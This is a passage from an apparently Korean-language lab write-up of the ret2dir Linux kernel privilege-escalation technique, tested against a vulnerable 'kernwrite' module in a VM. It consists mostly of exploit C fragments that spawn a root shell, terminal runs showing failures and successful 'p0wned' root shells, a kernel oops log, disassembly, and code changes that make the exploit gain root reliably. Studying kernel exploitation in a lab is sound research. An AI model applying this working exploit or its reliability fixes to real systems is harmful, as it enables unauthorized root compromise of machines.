	if (getuid() == 0) {
		/* verbose */
		fprintf(stderr, "[+] p0wned [^_-]\n");

		/* execute a rootshell */
		execve("/bin/sh", argv, NULL);
	}

	/* l0Ooser */
	fprintf(stderr, "[-] failed to p0wn the machine\n");

Execute shellcode from virtual memory address.

  • 다음과 같이 shellcode를 실행할 주소로 가상 메모리의 주소를 전달합니다.
exploit(vaddr).c
	/* prepare to overwrite a function pointer via `kernwrite' */
	memset(saddr, 0, ADDR_SZ);
	sprintf(saddr, "%#lx", vaddr);
	/* verbose */
	fprintf(stdout, "[+] shellcode is at %s\n", saddr);
  • 다음과 같이 가상 메모리의 주소로 전달할 경우 shellcode가 실행되지 않습니다.
Execute shellcode from virtual memory address.
w00t@vlux:~/ret2dir$ gcc -o vaddr exploit\(vaddr\).c 
w00t@vlux:~/ret2dir$ ./vaddr 
[*] Found KERN_EXEC Zone!
[*] Page Number 131071
[*] 0x7f0adbb91000 is kernel-mapped at 0xffff88005fa21000

[*] `prepare_kernel_cred' at 0xffffffff81086870
[*] `commit_creds' at 0xffffffff810865f0
[+] shellcode is at 0x7f0adbb91000
Killed
w00t@vlux:~/ret2dir$
  • 아래와 같이 드라이버의 에러 메시지를 확인할 수 있습니다.
    • RIP 값으로 shellcode가 저장된 가상메모리의 주소는 정확하게 전달되었습니다.
    • 하지만 해당 영역은 실행 권한이 없기 때문에 에러가 발생합니다.
      • "Code: Bad RIP value."
Code: Bad RIP value.
w00t@vlux:~/ret2dir$ dmesg |tail -n 42
[64312.225362] kernwrite: overwriting function pointer with 0xffff88002cfff000
[64312.225428] kernwrite: executing at 0xffff88002cfff000
[64420.963665] kernwrite: overwriting function pointer with 0xffff88002cfff000
[64420.963757] kernwrite: executing at 0xffff88002cfff000
[64436.347693] kernwrite: overwriting function pointer with 0xffff88003f75e000
[64436.347767] kernwrite: executing at 0xffff88003f75e000
[64870.608960] kernwrite: overwriting function pointer with 0x00007f0adbb91000
[64870.609081] kernwrite: executing at 0x00007f0adbb91000
[64870.609150] BUG: unable to handle kernel paging request at 00007f0adbb91000
[64870.609257] IP: [<00007f0adbb91000>] 0x7f0adbb90fff
[64870.609307] PGD 78011067 PUD 7818a067 PMD 36cd1067 PTE 800000005fa21067
[64870.609396] Oops: 0011 [#8] SMP 
[64870.609449] Modules linked in: kernwrite(OF) coretemp(F) ghash_clmulni_intel(F) aesni_intel(F) ablk_helper(F) cryptd(F) lrw(F) aes_x86_64(F) xts(F) gf128mul(F) snd_pcm(F) snd_timer(F) snd(F) psmouse(F) soundcore(F) microcode(F) snd_page_alloc(F) serio_raw(F) pcspkr(F) vmw_balloon(F) vmwgfx(F) ttm(F) drm(F) i2c_piix4(F) shpchp(F) mac_hid(F) e1000(F) mptspi(F) mptscsih(F) mptbase(F) vmw_pvscsi(F) vmxnet3(F) [last unloaded: kernwrite]
[64870.610025] CPU 1 
[64870.610045] Pid: 3393, comm: vaddr Tainted: GF     D    O 3.8.0-19-generic #30~precise1-Ubuntu VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform
[64870.610156] RIP: 0010:[<00007f0adbb91000>]  [<00007f0adbb91000>] 0x7f0adbb90fff
[64870.610221] RSP: 0018:ffff880036653ef0  EFLAGS: 00010296
[64870.610260] RAX: ffffffffa01b7270 RBX: 0000000000000001 RCX: 00000000ffffffff
[64870.610306] RDX: 0000000000003b2b RSI: 0000000000000082 RDI: 0000000000000246
[64870.610353] RBP: ffff880036653ef8 R08: 0000000000000000 R09: 0000000000000000
[64870.610399] R10: 00000000000006c9 R11: 6974756365786520 R12: 0000000000401b20
[64870.610445] R13: ffff880036653f50 R14: ffff880036c6f900 R15: 0000000000000000
[64870.610492] FS:  00007f0adc134700(0000) GS:ffff88007c620000(0000) knlGS:0000000000000000
[64870.610550] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[64870.610591] CR2: 00007f0adbb91000 CR3: 0000000036ce9000 CR4: 00000000001407e0
[64870.610663] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[64870.610729] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[64870.610776] Process vaddr (pid: 3393, threadinfo ffff880036652000, task ffff880036d9ae80)
[64870.610834] Stack:
[64870.610860]  ffffffffa01b507c ffff880036653f28 ffffffff8119b733 ffff880036c6f900
[64870.610957]  0000000000000000 0000000000401b20 0000000000000001 ffff880036653f78
[64870.611055]  ffffffff8119ba72 000000000000000e 000000000000000e 0000000000020000
[64870.611155] Call Trace:
[64870.611186]  [<ffffffffa01b507c>] ? invoke_func+0x2c/0x30 [kernwrite]
[64870.611234]  [<ffffffff8119b733>] vfs_write+0xb3/0x180
[64870.611274]  [<ffffffff8119ba72>] sys_write+0x52/0xa0
[64870.611315]  [<ffffffff816fad5d>] system_call_fastpath+0x1a/0x1f
[64870.611357] Code:  Bad RIP value.
[64870.611411] RIP  [<00007f0adbb91000>] 0x7f0adbb90fff
[64870.611462]  RSP <ffff880036653ef0>
[64870.611494] CR2: 00007f0adbb91000
[64870.611548] ---[ end trace 2ad46c5e91b8279d ]---
w00t@vlux:~/ret2dir$

Execute the shellcode at the physical memory address.

  • 다음과 같이 shellcode를 실행할 주소로 물리 메모리의 주소를 전달합니다.
exploit(saddr).c
	/* prepare to overwrite a function pointer via `kernwrite' */
	memset(saddr, 0, ADDR_SZ);
	sprintf(saddr, "%#lx", res.btarget);
	/* verbose */
	fprintf(stdout, "[+] shellcode is at %s\n", saddr);
  • 다음과 같이 물리 메모리 영역의 shellcode가 실행되어 root권한을 획득하였습니다.
Get root!
w00t@vlux:~/ret2dir$ gcc -o saddr exploit\(saddr\).c
w00t@vlux:~/ret2dir$ ./saddr 
[*] Found KERN_EXEC Zone!
[*] Page Number 131071
[*] 0x7f1e10d5f000 is kernel-mapped at 0xffff880034662000

[*] `prepare_kernel_cred' at 0xffffffff81086870
[*] `commit_creds' at 0xffffffff810865f0
[+] shellcode is at 0xffff880034662000
[+] p0wned [^_-]
# 

But there is a problem.

  • 하지만 다음과 같은 문제가 있습니다.
    • "exploit(saddr).c" 코드를 빌드하여 실행해도 root권한을 획득하지 못하는 경우가 많이 발생합니다.
    • VM에 보관된 "kernwrite_amd64.c" 파일을 빌드하여 테스트해도 root권한을 획득하지 못하는 경우가 발생합니다.
  • 이는 물리 메모리 영역의 권한 문제로 판단됩니다.
    • 0xffff88007xxxx000 영역에 shellcode가 저장되었을 경우 root획득에 실패하였습니다.

    • 0xffff88003xxxx000 영역에 shellcode가 저장되었을 경우 root획득에 성공하였습니다.

gcc -o test kernwrite_amd64.c
w00t@vlux:~/ekit$ cd ret2dir/
w00t@vlux:~/ekit/ret2dir$ ls
kernwrite_amd64    kernwrite_amd64-pax  perf-events_amd64.c  rds_amd64-pax  sock-diag_amd64
kernwrite_amd64.c  perf-events_amd64    rds_amd64.c          shellcode.h    sock-diag_amd64.c
w00t@vlux:~/ekit/ret2dir$ gcc -o test kernwrite_amd64.c 
w00t@vlux:~/ekit/ret2dir$ ./test
test: [Warn] `mode' was not specified -- using -f (--fptr)
test: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
test: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f005e35b000 is kernel-mapped at 0xffff8800742e4000
[+] shellcode is at 0xffff8800742e4000
Killed
w00t@vlux:~/ekit/ret2dir$ ./test
test: [Warn] `mode' was not specified -- using -f (--fptr)
test: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
test: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f0382843000 is kernel-mapped at 0xffff8800342e7000
[+] shellcode is at 0xffff8800342e7000
[+] p0wned [^_-]
# 
Run "kernwrite_amd64" file
w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64
kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr)
kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f7238c2d000 is kernel-mapped at 0xffff8800341ff000
[+] shellcode is at 0xffff8800341ff000
[+] p0wned [^_-]
# exit
w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64
kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr)
kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f79670a8000 is kernel-mapped at 0xffff8800345ff000
[+] shellcode is at 0xffff8800345ff000
[+] p0wned [^_-]
# exit
w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64
kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr)
kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f639b783000 is kernel-mapped at 0xffff8800341ff000
[+] shellcode is at 0xffff8800341ff000
[+] p0wned [^_-]
# exit
  • 다음과 같이 바이너리를 분석하면 KERN_EXEC_LOW, KERN_EXEC_HIGH 매크로의 값이 kernwrite_amd64.c 파일에 저장된 값과 다르다는 것을 알수 있습니다.
    • KERN_EXEC_LOW : 0xFFFF880030400000 → 0xffff880001bfffff

    • KERN_EXEC_HIGH : 0xFFFF880080000000 → 0xffff880036000000

The value defined in the macro is different
   0x0000000000401404 <+659>:	mov    esi,0x4025e8
   0x0000000000401409 <+664>:	mov    rdi,rax
   0x000000000040140c <+667>:	mov    eax,0x0
   0x0000000000401411 <+672>:	call   0x400d40 <fprintf@plt>
   0x0000000000401416 <+677>:	movabs rax,0xffff880001bfffff
   0x0000000000401420 <+687>:	cmp    QWORD PTR [rbp-0x8],rax
   0x0000000000401424 <+691>:	jbe    0x401436 <querypmap+709>
   0x0000000000401426 <+693>:	movabs rax,0xffff880036000000
   0x0000000000401430 <+703>:	cmp    QWORD PTR [rbp-0x8],rax
   0x0000000000401434 <+707>:	jbe    0x401458 <querypmap+743
  • 다음과 같이 코드를 수정합니다.
    • KERN_EXEC_LOW 매크로의 값을 0xffff880001bfffff 으로 변경합니다.

    • KERN_EXEC_HIGH 매크로의 값을 0xffff880036000000 으로 변경합니다.

Change the value defined in the macro
#define KERN_EXEC_LOW    0xffff880001bfffffUL    /* exec range start */
#define KERN_EXEC_HIGH    0xffff880036000000UL    /* exec range end */
  • 그리고 앞에서 설정한 범위의 메모리 영역에 매핑되는 가상 메모리를 1번에 할당받기 어렵기 때문에 다음과 같이 while()문을 추가합니다.

Add a code.
    /* see if user space is kernel-mapped */
    res = querypmap(getpid(),
                    (unsigned long)code,
                    psize,
                    ALLOC_STEP / psize);
    
    /* bad luck; try again */
    while(res.btarget == 0) {
        /* allocate ALLOC_STEP bytes in user space */
        if ((code = mmap(NULL,
                         ALLOC_STEP,
                         PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
                         -1,
                         0)) == MAP_FAILED)
        /* failed */
            errx(7,
                 "[Fail] couldn't allocate memory -- %s",
                 strerror(errno));
        
        /* see if user space is kernel-mapped */
        res = querypmap(getpid(),
                        (unsigned long)code,
                        psize,
                        ALLOC_STEP / psize);
    }

    vaddr = (unsigned long)code + res.pnum * psize;
    printf("[*] Page Number %zd\n", res.pnum);
    printf("[*] %#lx is kernel-mapped at %#lx\n\n",vaddr,res.btarget);
  • 다음과 같이 수정된 코드를 빌드하면 실패 없이 한번에 root권한을 획득할 수 있습니다.

Success!
w00t@vlux:~/ekit$ gcc -o saddr-bugfix exploit\(saddr\)-bugfix.c
w00t@vlux:~/ekit$ ./saddr-bugfix 
[*] Found KERN_EXEC Zone!
[*] Page Number 9045
[*] 0x7f533daac000 is kernel-mapped at 0xffff8800341ff000

[*] `prepare_kernel_cred' at 0xffffffff81086870
[*] `commit_creds' at 0xffffffff810865f0
[+] shellcode is at 0xffff8800341ff000
[+] p0wned [^_-]
# exit
w00t@vlux:~/ekit$ ./saddr-bugfix 
[*] Found KERN_EXEC Zone!
[*] Page Number 6486
[*] 0x7f02f232f000 is kernel-mapped at 0xffff8800341ff000

[*] `prepare_kernel_cred' at 0xffffffff81086870
[*] `commit_creds' at 0xffffffff810865f0
[+] shellcode is at 0xffff8800341ff000
[+] p0wned [^_-]
# 
  • 다음과 같이 커널 옵션을 선택한 후 빌드하면 "/sys/kernel/debug/kernel_page_tables" 파일이 생성되며, 해당 파일에서 물리 메모리에 대한 많은 정보를 확인할 수 있습니다.
    • Kernel hacking → [*] Export kernel pagetable layout to userspace via debugfs

References

  • No labels